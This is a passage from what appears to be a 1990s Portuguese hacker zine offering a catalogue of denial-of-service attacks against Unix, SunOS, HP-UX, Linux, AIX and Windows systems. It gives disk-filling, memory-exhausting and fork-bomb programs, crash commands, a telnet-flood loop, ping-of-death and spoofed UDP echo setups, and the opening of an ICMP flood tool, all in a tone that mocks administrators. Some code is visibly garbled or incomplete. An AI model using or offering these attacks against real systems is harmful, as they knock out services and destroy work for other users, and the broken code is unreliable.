  ver quais processos matar, e c vc nao estiver logado como root, nao podera
  rodar o 'su' ou o 'login' pois essas funcoes requerem que  e sejam criados
  novos processos, e o sistema estara sobrecarregado.
  Como nossos admins nao sao tao bobinhos, eles sabem q nao e legal simples-
  mente puxar o fio da  tomada ou tacar o dedao no reset, pois trabalhos nao
  salvos serao  perdidos, e varios blocos de dados podem ser apagados ou mm.
  danificados. Assim, so resta ao nosso paciente administrador comecar a ma-
  tar os processos no escuro, ou seja chutando mesmo..
  Agora, c o sistema aceitar, ele pode tentar um 'kill -TERM -1', o qe envia
  um SIGTERM p/ todos os processos, menos os do root e do sistema.  =)

  NOTA: A equipe da MOS desenvolveu um programa capaz de anular a acao desse
  programa. Mas, somos egoistas d mais pra publicar o estupido codigo aqui..
  Caso vc c interesse, escreva-nos q teremos prazer em lhe auxiliar.


  (5). Ataques ao disco
  
       Outro metodo antigo de ataque, e o de simplesmente lotar o HD do sis-
  tema com merda...

  A primeira forma d c realizar isso, pode ser usada em computadores q rodam
  24hs por dia. Oq o codigo abaixo faz, e criar  e manter aberto um arquivo,
  mantendo-o dessa forma invisivel ao 'du' ou 'find', mas mesmo assim, ainda
  ocupando espaco em disco. Isso se deve ao fato de qe arquivos nao-linkados
  nao estao na arvore  do diretorio, ainda... mas mesmo assim, ja ocupam es-
  paco em disco.

  /*
    fillup.c
  */
    
  #include <stdio.h>
  #include <stdlib.h>

  main()
  {
   int ifd;
   chat buf[8192];
     ifd= open("./attack", O_WRITE| O_CREAT, 0777);
     unlink("/.attack");
     while(1)
       write(ifd,buf, sizeof9buf));
  }

  Apos criar o arquivo, esse programa inicia um loop infinito, que ira lotar
  o disco, e impedir qualquer coisa de ser trabalhada, pois o HD estara pre-
  enchido. Imagina a  cara do palhaco quando tentar todos os metodos que ele
  aprendeu na faculdade, e nao encontrar o dito arquivo =)
  Para pisar mais na merda, rode o dito cujo em background, e use varias co-
  pias  hehehe... Okz... use a porra  do cerebro, ao inves de roda-lo varias
  vezes, use o que vc aprendeu... insira um fork() no meio do codigo e deixe
  q o programa aumente-se sozinho.


       Mas nao acabou! Ainda existem centenas de outros metodos hehe.. vamos
  analiza-los... um eu chamo d "Joao e o Pe de Feijao"... esse metodo e sim-
  ples, e a negada roda ele no DOS(o sistema operacional) pra ferrar os HD's
  d uns palhacos.. bom... vamos basicamente criar uma arvore tao grande, que
  nem Deus sera capaz d apaga-la..

  #!/bin/sh
   mkdir MOS
    cd MOS

  Eu sei oq vc esta pensando, mas em alguns sistemas, o 'rm -r' nao sera ca-
  paz d deletar uma arvore tao grande, devido ao fato de ocorrer um risco de
  buffer  overflow, pois a abertura  de tantos "arquivos" ao mesmo tempo ira
  sobrecarregar o sistema  :) .
  Algo ainda mais perverso contra isso, seria  simplesmente bolar um progra-
  minha que ira criar um diretorio de nome aleatorio, isso ira prevenir pos-
  siveis scripts lamers de simplesmente irem apagando nivel por nivel de sua
  arvore satanica :P  Isso vcs q facam...
  
  NOTA: A equipe da MOS desenvolveu um programa capaz de anular a acao desse
  programa. Mas, somos egoistas d mais pra publicar o estupido codigo aqui..
  Caso vc c interesse, escreva-nos q teremos prazer em lhe auxiliar.

  Outra forma de  lotar o winchester e o  seguinte, em muitos sistemas Unix,
  tanto usuarios como programas, criam arqs. d tamanho ilimitado no /tmp, p/
  uso temporario. Bom, simplesmente  use-se disso, e rode os programas nesse
  diretorio...


	Vc tb pode criar arquivos q sao um "chute no saco" pra serem removi-
  dos..
  Ex:
	$ cat > -xxx
	^C
	$ ls
	-xxx
	$ rm -xxx
	rm: illegal option -- x
	rm: illegal option -- x
	rm: illegal option -- x
	usage: rm [-fiRr] file ...
	$

  Ex:
	$ touch xxx!
	$ rm xxx!
	rm: remove xxx! (yes/no)? y
	$ touch xxxxxxxxx!
	$ rm xxxxxxxxx!
	bash: !": event not found
	$

  
  (6). Ataque CSH

	Okz, inicie seu maravilhoso /bin/csh e vamos gastar  uns 100% de cpu
  nisso aki..
  Ex:
	|I /bin/csh
	nodename : **************b

  
  (7). Atacando o RESOLV_HOST_CONF

	Alguns sistemas possuem essa pequena falha d seguranca na medida que
  usam a variavel  RESOLV_HOST_CONF. Nos podemos  colocar algumas  coisinhas
  nessa  variavel e usar o ping para modifica-las ou pendurar o sistema. Por
  exemplo, varios sistemas  pendurar se  o /proc/kcore for lido via  ascesso
  ping.
  Ex:
	$ export RESOLV_HOST_CONF="/proc/kcore" ; ping asdf

  
  (8). Manipulando a memoria

	DoS qe manipulem a memoria podem ser catastroficos... existem varias
  coisas q podem ser feitas.
  Ex:
	- Alocar uma enorma quantia de RAM, ou toda a qe o sistem permitir.
	Um loop com malloc () resolveria o caso.

	- Escrever  direto  em /dev/kmem pode  ocasionar muitos  problemas.

	- Alocacao de memoria do kernel tb pode ser feita.. o kernel possui
	um limte d alocacao("kernelmap"), se o sistema chegar nesse limite,
	nao podera alocar mais nada e simplesmente pendura. Essa memoria do
	kernel e usada como RAM, impressao de video e outras coisas banais.

	- Ler-se uma grande quantidade de memoria de forma  muito lenta ira
	reduzir a velocidade d processamento do sistema.

  
  (9). Pentium Bug

	Todo mundo ja esta por dentro do  bug do Pentium... bom.. rode o seu
  respectivo exploit q o sistema ira travar... :P  Nada de logs nem nada.. o
  admin nem ira saber oq aconteceu.


  (10). /dev/kmem fuck off

	Apenas ler direto  do /dev/kmem pode  travar todo o sistema  se voce
  tem ascesso d leitura apenas, registrado no kernel.. hmmm..
  Ex:
	cat /dev/kmem >/dev/null


  (11). Travando Unix's

	Isso e um contorno em relacao ao DoS vai fork(), pois funciona mesmo
  q vc tenha um limite d processos por/user.
  Ex:

  #define BIGNUM 128*1024*1024
  #define PAGESIZE 4*1024
   
   char eatmem[BIGNUM];
  
  main()
  {
    for (i=0 ; i += PAGESIZE ; i < BIGNUM) ++eatmem[i];
  }
	Define-se BIGNUM como sendo uma grande quantia REAL de memoria que o
  sistema lhe permitira obter em seu limite DATASIZE. Alternativamente, voce
  poderia mallocar a memora ao inves d faze-la estatica, e envia-la para seu
  limite MEMORYSE.
  Define PAGESIZE como  sendo o tamanho  da memoria em  paginas da pagina da
  swap do seu sistema. Entao:

	Now comes the fun part:
  mos% cc thrash.c
  mos% a.out

  Esse programa ira alocar uma grd. quantia d memoria e ira le-la de forma a
  fazer a swapper  realizar uma page-in p/ *CADA ASCESSO*. Isso reduz o sis-
  tema a um quase crash.
	He He.. vc pode ainda  malloc () 512k, e mais 512k e mais  e mais...
  assumindo-se q vc nao tenha  um limite 'memoryuse', voce ira cair devido a
  falta d espaco da swap:

  PANIC: out of swap space
  <CRASH!>

  
  (12). Shell scripts

	Existem alguns scripts q se executados d forma correta podem ocasio-
  nar alguns probleminhas. Por exemplo, crie um arq. e dentro dele apenas:

  $0
  
  Faca-o executavel e rode-o.. ele ira contiamente a se expadir, como no DoS
  fork (). Um simples ^C pode interromper.
  Vc tb poderia ao inves disso, colocar:

  $0 &

  O sistema ira rastejar he he.. voce pode parar isso simplesmente removendo
  ou movendo o arquivo d lugar.

  
  (13). Syste V 2.2

	Em sistemas unix Syste v Release 2.2, pode-se trava-lo facilmente.
  Ex:
	cat /dev/tty

  O mesmo ocorre em relacao a outros devices.


			    -=-=-=-=-[*]-=-=-=-=-
    

  [ 1.2 DoS Local - SunOS/Solaris ]

  (1). SunOS 4.x & DoS via Background

	Coloque a string "a&" em um arquivo chamado "a" e sete-o em +x. Rode
  o arquivo... crash  total =)

  
  (2). SunOS 4.1.x & trap_mon

	Executar-se a instrucao trap_mon a partir do modo usuario, pode oca-
  sionar kernel panic em SunOS 4.1.x, arquitetura sun4c.

  
  (3). SunOS 4.1.x & tmpfs

	Se o /tmp for  um filesystem tmpfs, qualquer  usuario pode causar um
  kernel panic em SunOS 4.1.x.
  Ex:
	$ cd /tmp
	$ /usr/etc/mknod fifo p
	$ ln fifo link
	$ ls -ClFg link fifo

  
  (4). SunOS 4.1.x & pathconf ()

	Se /cdrom for um  filesystem hsfs, qualquer usuario  pode causar  um
  kernel panic c/ esse exploit..
  Ex:
  
  #include <unistd.h>
  main()
  { pathconf("/cdrom", 0); }

  
  (5). SunOS 4.0.x &  df

	Essas versoes do SunOS podem ser travadas com o 'df'.
  Ex:
	$ df /dev/*b       ->  (particao da swap)

  
  (6). SunOS 4.0.3 & rmdir

	Alguns sistemas rodando SunOS 4.0.3  podem sofrer um kernel pancis c
  vc realizar um rmdir em um diretorio q nao  existe.

  
  (7). SunOS 3.2 & link ()

	Em SunOS 3.2, pode-se  travar a makina passando-se uma string  vazia
  como um argumento (nao me lembro qual..) p/ a chamada link ().

  (8). SunOS 3.4 (eu acho...) & cat

	Nao tenho certeza dessa versao.. mas vc pode travar o sistema facil-
  mente.
  Ex:
	cat /etc/motd /dev/printer
  

  (9). Directory Name Lookup Cache

	DNLC e usado toda vez que um arquivo e aberto. Ele associa o nome de
  um arquivo a um  vnode. No entanto, ele pode operar apenas em arquivos cu-
  jos nomes possuem ate uma quantia N de caracteres (SunOS 4.x ate 14, e So-
  laris 2.x 30.). DoS hehe..
  Crie aproximadamente uns  20 diretorios, e coloque  10 arqs vazios em cada
  um deles. Cada nome  deve ser maior que  30 caracteres, a seguir, rode  um
  script q ira dar um 'ls -la' nos diretorios.
  Caso nao funcione, crie mais arquivos e tente de novo.
 
  
  (10). Solaris 2.x & NFS

	Se um  processo estiver  escrevendo sob um NFS e o usuario chegar ao
  fim d sua quota  em disco, o processo entra num loop infinito.

  
  (11). Solaris 2.3

	Tais sistemas penduram (kernel panic) da seguinte forma.
  Ex:
	$ndd /dev/udp udp_status


  (11). Unix antigo & tape driver

	Em sistemas Unix  antigos (mc68000 based, System V release 2.2), po-
  de-se travar a maquina tentando-se ascessar  um arquivo device tape driver
  ao qual nao existem nenhum tape driver fisico associado.


			    -=-=-=-=-[*]-=-=-=-=-
    

  [ 1.2 DoS Local - HP-UX ]
		
  (1). HP-UX & Nettune

	/usr/contrib/bin/nettune e SETUID root. Devido a isso, qualquer usu-
  ario do  sistema pode resetar  qualquer parametros  presentes no  kernel a
  respeito d ICMP, IP e TCP.. por exemplo:

	- arp_killcomplete 
	- arp_killincomplete
	- arp_unicast 
	- arp_rebroadcast
	- icmp_mask_agent
	- ip_defaultttl
	- ip_forwarding
	- ip_intrqmax
	- pmtu_defaulttime
	- tcp_localsubnets
	- tcp_receive
	- tcp_send
	- tcp_defaultttl
	- tcp_keepstart 
	- tcp_keepfreq
	- tcp_keepstop
	- tcp_maxretrans
	- tcp_urgent_data_ptr
	- udp_cksum
	- udp_defaultttl 
	- udp_newbcastenable 
	- udp_pmtu
	- tcp_pmtu
	- tcp_random_seq

  Uma forma d se prevenir disso seria setar-se as permissoes corretas no ar-
  quivo /sbin/mount_union.
  Ex:
	#chmod u-s /sbin/mount_union
	
  
  (2). HP-UNX 10.1 & rplayd
	
	Se vc rodar rplayd sem nenhum parametro, ira causar um kernel panic.

  
  (3). HP-UX 7.0.

	Esse programa abaixo ja foi testado em maquinas HP9000/340 rodando o
  HP-UX 7.0... tudo oq vc tem a fazer e colocar um & =)
  Ex:
  main()
  {
    char hostname[100];
    unsigned int size = 100;
    
    /* Se vc acidentalmente colocar um &, a makina trava!
       eg. gethostname( hostname, &size);
    */
    
    if ( gethostname( hostname, size) != 0 )
	printf("gethostname() failed \n");
    else
	printf("gethostname = %s\n", hostname);
  }

			    -=-=-=-=-[*]-=-=-=-=-
    

  [ 1.3 DoS Local - Linux/FreeBSD ]
		
  (1). Bloqueando login em RH/Debian
		
	Em alguns sistemas (Red Hat 3.0.3/Debian 1.2), qualquer usuario pode
  facilmente bloquear outras pessoas d se logar.
  Ex:
	  $ nvi /var/log/wtmp


  (2). Pau via mount_union

	Executando-se uma sequencia do mount_union, qualquer usuario pode o-
  carionar um boot do sistema, em todos os FreeBSD 2.x, antes d 1996-05-18.
  Ex:
	  $ mkdir a
	  $ mkdir b
	  $ mount_union ~/a ~/b
	  $ mount_union -b ~/a ~/b

  A solucao basica e setar-se corretamente o /sbin/mount_union.
  Ex:
	  #chmod u-s /sbin/mount_union


			    -=-=-=-=-[*]-=-=-=-=-
    

  [ 1.4 DoS Local - DG/UX ]

  (1). Pane via ulimit

	ulimit e utilizado para setar-se um limite nos recursos  disponiveis
  pelo  sistema  a shell. Se  ulimit 0 for chamado  antes  do /etc/passwd, o
  passwd sera zerado.


			    -=-=-=-=-[*]-=-=-=-=-

  
  [ 1.5 DoS Local - AIX ]
	
	malloc(3) e merda. Essa chamada nao ira dar crash no kernel, mas ira
  matar processos  aleatoriamente. Seu servidor  X pode cair e travar toda a
  makina.

/* 
  Programa exemplo q falha devido a ideia da IBM a
  respeito dq malloc() deveria fazer.

  Rode-o por um tempo e saia normalmente.
  (o sistema torna-se mais lento por um tempo...)

  No caso de AIX, rode-o por um tempo e:
   1) o processo termina-se;
   2) MUITOS processos sao kilados.
      No X, usuarios serao travados :)
*/

#include <stdio.h>
#include <malloc.h>

#define PADCOUNT 262143
#define STEP 200

 /* Use tanta memoria quanto o sistema permitir  */
main()
{
    struct chunk {              /* 1 mega */
	struct chunk *next;
	long pad[PADCOUNT];
    } *tmp, *head= NULL;

    int k, count= 0;

    for(;;) {
	/* Tente alocar outro mega */
	tmp= (struct chunk *) malloc(sizeof(*tmp));
	if(tmp==NULL) break;

	/* Reporta contador megabyte */
	count++;
	printf("%d megabyte%s\n", count, (count>1 ? "s": ""));

	/* Link em uma listagem simples */
	tmp->next= head;
	head= tmp;

	/* Use a memoria alocada */
	for(k= 0; k<PADCOUNT; k+= STEP) {
	    tmp->pad[k]= k;
	}
    }

    printf("Freeing %d megabyte%s\n", count, (count>1 ? "s" : ""));
    for (tmp= head; tmp!= NULL;) {
	head= tmp->next;  free(tmp);  tmp= head;
    }
}

			    -=-=-=-=-[*]-=-=-=-=-

  
  [ 1.6 DoS Local - VAX ]

	Um jeito interessantes de bootar-se uma maquina VAX rodando Ultrix
  V2.0-1 System #3 e a seguinte.
  Ex:
	  % mkdir foo
	  % cd !$
	  % mkdir ../../foo
	  % mv !$ ..

			    -=-=-=-=-[*]-=-=-=-=-


  [ 1.7 DoS Local - Microsoft Windows ]

  (1). Grande arquivo de cache

	Se o sistema NT possui um arquivo grande de  cache ativado, qualquer
  um pode consumir 100% de tempo da CPU. Apenas transfira um arquivo grande
  d um servidor p/ um drive d rede compartilhado.

  
  (2). Links destrutivos

	Clicar-se no link a seguir ira danificar o sistema. Note q em alguns
  sistemas, ocorrera um simples erro...

	(1) Afeta algumas  versoes do Explorer.. ele simplesmente ira entrar
	em loop se for mandado a inicar um cineminha... :)
	
	<a href="file://aux">file://aux</a>

	(2) Putz.. esse afeta Netscape 1.1N (vovo usa um desses).
	
	<a href="http://xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
	xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.
	xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.
	xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
	xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx...">http://xxx.xxx.xxx.
	xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
	xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
	xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
	xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.
	xxx.xxx.xxx.xxx...</a>

	(3) Chamadas a arquivos especificos podem causar varios problemas.

	<a href="file:/dev/mouse">file:/dev/mouse</a>
	<a href="file:/dev/zero">file:/dev/zero</a>
	<a href="file:/dev/mmap">file:/dev/mmap</a>
	<a href="file:/proc/kcore">file:/proc/kcore</a>

  

			    
			    -=-=-=-=-[*]-=-=-=-=-


  [ 2. - DoS Remoto ]
       
       Voce pode estar pensando..." - Maravilha... eu consigo atacar um sis-
  tema local c eu tiver uma conta nele, e quanto aos sistemas q eu nao tenho
  ascesso?". Bem, existe uma variedade d diferentes ataques d rede que podem
  ser lancados a  hosts remotos. A grande vantagem  de tudo isso, e que  nao
  existem muitas fire walls realmente capazes d bloquear um DoS bem planeja-
  do... e, assim como elas tambem  sao poucas, ainda menores sao seus utili-
  zadores. Mas logo logo isso vai mudar... entao aproveite.

       O DoS Remoto, e um ataque denial of service, q pode ser executado sem
  estar-se logado ao sistema. Ou seja, e o mais grave d todos...
  
  
  [ 2.1 DoS Remoto - Sistemas Nao Especificos *ix's ]
  
  (1). Shh & PPP

	Se uma coneccao ppp via ssh cair, todos os processos controlados por
  ele irao  entrar em parafuso. Os processos  nao pode ser interrompidos com
  um kill -9 -1. P/ mata-los, mate o sshd.

  
  (2). Login via SSH

	ssh pode ser  utilizado p/ bloquear-se um login. Apenas force o sshd
  a pedir por um  passwd durante o login. Conecte-se ao sistema mas nao for-
  neca o passwd. Ate q vc forneca o passwd ninguem mais podera se logar.
  Esse e um problema tipico d configuracao.

  
  (3). FLEXlm

	Qualquer sistema rodando FLEXlm pode fazer com que  o FLEXlm license
  manager daemon tome um belo shutdown atraves do comandos lmdown.
  Ex:
	 # lmdown -c /etc/licence.dat
	 lmdown - Copyright (C) 1989, 1991 Highland Software, Inc.

	 Shutting down FLEXlm on nodes: xxx
	 Are you sure? [y/n]: y
	 Shut down node xxx
	 #

  
  (4). Booting via TFTP

	Para dar boot workstations  burras, tente usar  o tftp com o rarp ou
  bootp. Se a estacao nao estiver protegida, um atacante atraves do tftp po-
  dera com sucesso reiniciar o host.

  
  (5). Atacando USENET

	Pode-se ser possivel cancelar-se o artigo d outra pessoa, destruir-c
  um newsgroup ou mesmo enviar-se um artigo falso a Usenet.
  Ver FAQ:alt.2600 #15.


  (6). Ping Flood

	Um flood d ping simples pode-se ser executado via Unix.
  Ex:
	 ping -s host (enviar pacotes d 64 bytes.)

  Em W95, pode-ser fazer o seguinte...
  Ex:
	 PING -T -L 256 xxx.xxx.xxx.xx. (inicie +- 15 sessoes.)

  
  (7). finger

	Muitas configuracoes e instalacoes  do finger  suportam redireciona-
  mento p/ outros hosts.
  Ex:
	 $finger @sistema.dois.com@sistema.um.com

  O finger ira por exemplo para o sistema um e p/  o sistema dois, no entan-
  to, o sistema dois sabera qe quem esta executando o finger e o sistema um.
  Alem de poder-se realizar um finger camuflado, essa tecnica pode ser usado
  num  forte DoS.
  Ex:
	 $ finger @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@lamer.com.br

	As arrobas irao fazer com q o host se auto-finger num loop enorme...
  Isso reduz a performance do sistem, reduz a memoria disponivel e consome
  espaco em disco deviao ao grande numero de processos filhos.

  
  (8). Clientes Lynx

	Um servidor  WWW ira gerar um processo httpd, como resposta a um pe-
  dido de um cliente, tipico  por  exemplo um Netscape ou  Mosaic. O proces-
  so usa em sua criacao, menos de 1 segundo, e ninguem sera capaz d observa-
  lo atraves d um simples ps.
  Muitas vezes e possivel enviar-se um ataque DoS seguro, q ira fazer uso de
  multiplos clientes WWW, tipicamente clientes Lynx.
  O netstat pode ser usado para detectar-se o ataque... Alguns servers httpd
  como por exemplo o http-gw, irao ter problemas alem d diminuicao e perfor-
  mance e reducao d memoria.... O atacante pode forcar o sistema a entrar em
  loop.


  (9). Telnet flood
  
  Ex:
	 while : ; do
	 telnet alvo.com.br &
	 done

	Um DoS atraves desse  script ira reduzir a performance do sistema...
  Perto do ataque via  finger esse script e muito menos potente, no entanto,
  alguns versoes d firewalls e httpds, "pensam" que esse ataque e um loop, e
  simplesmente desligam-se ate q o admin envie um kill -HUP.

  
  (10). Bloqueando-se contas

	Varios sistemas irao desabilitar uma certa conta apos um numero N de
  logins falhos.. ou entao  irao esperar N  segundos. Isso pode-se ser uzado
  para executar-se um DoS.

  
  (11). Bloqueando-se servicos

	Varios sistemas Unix desabilitam um servico quando um numero N d se-
  coes forem abertas ao mesmo tempo. O default geralmente e 800 - 1000, mas
  no SunOs, esse default e reduzido p/ 48  =)

  
  (12). Congelando o X-Win

	Se um host aceitar uma secao telnet na a porta do X-Wins (geralmente
  entre 6000 e 6025), o mesmo pode ser usado para congelar-se todo o sistema
  X-Win. Isso pode ser  feito com multiplas secoes telnet p/ a porta, com um
  programa q envia multiplos XOpenDisplay ().
  O mesmo ocorre com o Motif ou Open Windows.

  
  (13). Broadcast FuCk

	Esse e um metodo popular em redes, de forma que todos os hosts atuam
  como gateways. Existem varias versoes dessa ataque, mas o metodo basico, e
  enviar-se varios pacotes p/ todos os hosts da rede, com um destinatario qe
  simplesmente  nao existe (spoof). Cada host  ira tentar "responder" a cada
  pacote, assim, os pacotes  irao passear na  rede por muito, muito tempo...
  Se novos pacotes chegarem, logo a rede estara em apuros.
	Servicos que podem ser usados para esse tipo de ataque podem ser por
  exemplo o  ping, finger e sendmail. No entanto, grande parte  dos servicos
  pode ser comprometida de um jeito ou de outro.

  
  (14). FTP anonimo
  
	Se um arquivo via FTP anonimo possuir +w p/ o usuario remoto, e pos-
  sivel simplesmente  lotar-se o HD do sistema. Pode-se tb  travar o sistema
  atraves d multiplos pedidos d coneccao a porta d FTP.


  (15). Mal uso do SMRM

	O SMRM (subnet mask reply message) e usado  durante o reboot, mas no
  entanto, alguns host aceitam o recebimento de  tais mensagens sem ao menos
  checa-las. Assim, qualquer forma de comunicacao do ou para o host pode ser
  cancelada.
  O host deve apenas aceitar esse reply na hora do reboot!


  (16). Email Bomb & Email Spamming

	Em uma ataque d mail bomb, o atacante ira enviar varias mensagens i-
  denticas para um certo endereco. O efeito e reducao de  performance, dimi-
  nuicao d HD livre, .. No caso do mail spam, a diferencao e q o mail bomb e
  enviado a varios ou a todos os usuarios do sistema.


  (17). Applets Hostis

	Um applet hostil, e qualquer applet q ira tentar usar seu sistema de
  forma inapropriada. Os problemas na linguagem java, sem querer entrar numa
  discussao altamente tecnica, podem ser dividos em 2 grupos:

	1) Problemas devido a bugs;
	2) Problemas devido a falhas da linguagem.

  Varios problemas ainda sao atualmente encontrados no que se refere a ambos
  os niveis de problemas. Um exemplo foi a avaliacao de seguranca do BB. Por
  isso, e mais seguro e recomendavel deixar-se os recursos Java desativados.
 
			    
			    -=-=-=-=-[*]-=-=-=-=-

  
  [ 2.3 DoS Remoto - Sistemas especificos ]

	Tais ataques sao especificos d certas versoes e Sistemas Operaciona-
  is.

  (1). SunOS Kernel Panic

	Algumas versoes  do SunOS (nao estou certo  se eles precisam estarem
  rodando o TIS) ira ter um  kernel panic se um  getsockopt () for realizado
  apos uma conecao ter sido resetada.


  (2). UDP & SUNOS 4.1.3.

	SunOS 4.1.3 e conhecido por rebootar-se se um pacote com informacoes
  incorretas em seu cabecalho for enviado a ele. Esse erro deve ser mais es-
  pecificamente se o ip_options indicar o tamanho errado do pacote.


  (3). Telnet & Solaris 2.4

	Se alguem se conectar via  telnet em uma makina Solaris 2.4 e termi-
  nar sua conecao atraves de:
	
	Control-}
	quit

  O sistema entra num loop infinito...


  (4). Linux & TCP Time/Daytime

	O Inetd do Linux e famoso por travar se varios pacotes SYN forem en-
  viados a porta daytime e/ou a porta time.


  (5). Paragon OS Beta R1.4

	Paragon e a plataforma d supercomputadores da Intel, desenhadas para
  obter alta performance.. sao usado em pesquisas cienticas e computacao al-
  tamente  tecnica. Se alguem redirecionar um pacote ICMP para um Paragon OS
  beta R1.4, a  maquina ira  travar e sofre um reboot. Esse redirecionamento
  do  pacote, faz com que  a maquina sobre-escreva  suas  tabelas de  route.

  (6). Netware FTP

	O servidor FTP da Netware da Novell ira  reduzir sua memoria se mul-
  tiplas secoes de FTP forem a ele conectadas.
 
			    
			    -=-=-=-=-[*]-=-=-=-=-

  
  [ 2.4 DoS Remoto - Microsoft ]

  (1). ISS 2.0 em NT

	 Ok.. vamos ver um DoS simples.. nesse caso, e necessario q o siste-
  ma seja um NT 4.0, rodando o IIS 2.0... Basta vc dar um telnet na porta 80
  e dar um simples GET ..\.. e o servidor trava.

 
  (2). Dot Dot bug

	O compartilhamento d arquivos do NT, e vulneravel  ao bug do dot dot
  sob ambiente W95, assim, qualquer  um pode travar o sistema. Se alguem en- 
  viar um "DIR ..\" para a workstation, uma  mensagem d STOP ira aparecer na
  tela do computador NT. Note q isso funciona apenas em versoes 3.50 e 3.51,
  tanto em servidores como em workstations.

 
  (3). Consumindo 100% de CPU I

	Telnet para  135 e envia alguns caracteres  aleatorios e disconecte.
  Isso ira causar o processo  rpcss.exe a comecar a consumir todos os ciclos
  disponiveis.
 
 
  (4). Consumindo 100% de CPU II

	Telnet para 6558, tecle alguma letra e d enter.

 
  (5). Consumindo 100% de CPU III

	Telnet p/ porta 53, envie alguns caracteres aleatorios e disconecte.
  Tente tb as portas 1031 e 1040.

 
  (6). NT 4.0 & Servidor DNS

	O Servidor de DNS da Microsoft se auto-aborta se receber uma respos-
 ta d um query DNS q nunca foi feito.

  (7). Crash em sistemas via ping W95

	Esse DoS e possivel d ser realizado a partir de makinas c/ W95, note
  no entanto q ja existem programas q simulam esse ping, tornando possivel a
  exploracao da falha em qualquer sistema operacional.
	Se alguem q estiver rodando W95 for capaz d dar um ping em sua maki-
  na, essa pessoa pode conseguir com sucesso travar vc. Ele simplesmente ira
  rodar o ping.
  Ex:
	  ping -l 65510 sistema.com.br

  E o sistema trava. Principalmente  sistemas AIX (nao lembro a versao, acho
  q e 4.?.? ) sao vulneraveis... d qualquer forma, procure + infos..

			    
			    -=-=-=-=-[*]-=-=-=-=-

  
  [ 2.2 DoS Remoto - Multiprotocolar ]

	DoS Multiprotocolar foi o nome q eu dei a ataques q, independente do
  sistema operacional, funcionam  devido a falhas de  concepcao e m diversos
  protocolas, sejam IP, TCP ou mesmo UDP, ...

	Eu recomendo qe os interessados em obter maiores informacoes, peguem
  a phrack 48, onde o daemon9  fala sobre TCP/SYN flooding, e da uma demons-
  tracao do projeto Netuno.

  Quando fala-se em rede, a primeira palavra qur me vem a mente e protocolo.
  Caso vc esteja tentando floodar um host, q protocolo deve usar? Hmmm......
  dentre todos, os mais efetivos sao, com certeza, o ICMP e o UDP, devido ao
  fato de eles nao terem necessidade d estabeler uma coneccao, como e o caso
  do TCP. No tentanto, o "syn flooding" e realmente uma prova dq ate mesmo o
  TCP pode ser usado p/ fins um tanto quanto distorcidos dos seus propositos
  originais.

  
  (1). TCP/Syn Flood

	Varios zines relataram diversas informacoes a respeito d ataques via
  floods d syn, chegando ate mesmo a publicar o codigo para tal (oq eu real-
  mente estou sem saco pra fazer). Mas, vai uma explicacao basica:
	
	Como sabemos, o pacote  syn faz parte do  famoso aperto tripo de mao
  (3-way handshake) na coneccao d computadores via TCP.. Esse flood e basea-
  do numa coneccao incompleta. Ou seja, o atacante envia centenas de pedidos
  syn, mas nao  responde a nenhum pacote  ack. O stack do TCP/IP ira esperar
  por um certo tempo antes de  simplesmente descartara a  conecao... o flood
  funciona pois ira manter o syn_received da makina alvo lotado.


			 A                       B
			    ---------> SYN
			    <--------- SYN/ACK
			    ---------> ACK


  (2). Floods SMTP

	Esse tipo d flood e realmente simples devido ao fato do SMTP ira
  aceitar qualquer merda que lhe seja enviada. E claro que filtros podem ser
  usados, mas um mail bomb qualquer pode realmente ser prejudicial a um ser-
  ver.. principalmente se a sua conecao for realmente rapida, e possivel en-
  viar grandes pacotes e deixar o server no chao. :P

  
  (3). Fodendo-se Servicos UDP

	E simples fazer-se com q servicos UDP entrem em loop constante devi-
  do a um facil IP-spoofing. O efeito classico sera a reducao d performance,
  a qual faz com que a rede torne-se  praticamente  inutilizavel. Um exemplo
  simples seria fazer-se com q o cabecalho tivesse como origem o loopback, e
  o alvo seria no caso a porta d echo. 
  Ex:

	Origem-IP = 127.0.0.1
	Alvo-IP   = alvos.com.br
	Pacote:   UDP
	da        UDP port 7
	para      UDP port 7

	Note no exemplo q o nome alvo.com.br e um DNS, mas o alvo dev sempre
  ser representado pelo numero do IP.
  Devido a facilidade de  execucao desse ataque, varias pessoas recomendam a
  nao utilizacao d loopback quando-se conectado a uma rede. Ou ao menos usar
  o echo como TCP ao inves de UDP.

  
  (4). Floods ICMP_ECHO
	   
	Esse tipo d ataques e um dos mais comuns, devido ao fato de serem u-
  sado principalmente  pelos lamers de  IRC para killar outros user.. assim, 
  varias pessoas acabam recebendo k-lines e outras coisas...
  De qualquer forma, abaixo vai um codigo q exploita esse tipo de DoS.
	Basicamente o codigo funciona pois os sistemas Unix irao executar um
  reply de um pedido ICMP continuamente, sem perceber que  fazendo isso irao
  prejudicar o sistema, respondendo a certos pacotes q ele considera simples
  ICMPs. Agora, adicionando-se um IP spoofer a esse setup, faz com q a coisa
  fique  aida mais interessante pois o computador  ira travar enquanto tenta
  dar um reply a esses ECHOs, ao mesmo tempo que novos  ECHOs sao executados
  pelo sistema... :P
  E similar ao ataque UDP na pora d ECHO.


  /* --- Cut here ----------------------------------------------------------
 *
 * echok.c
 * ICMP_ECHO Killer
 * 
 * Author: Zakath    Credits:  LOTSA thanks to crisk
 * Don't be fooled. Very little is my orig code.
 * [03.13.96]
 */

#define RESOLVE_QUIET
#define IPHDRSIZE sizeof(struct iphdr)
#define ICMPHDRSIZE sizeof(struct icmphdr)

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>

#include <netinet/ip.h>
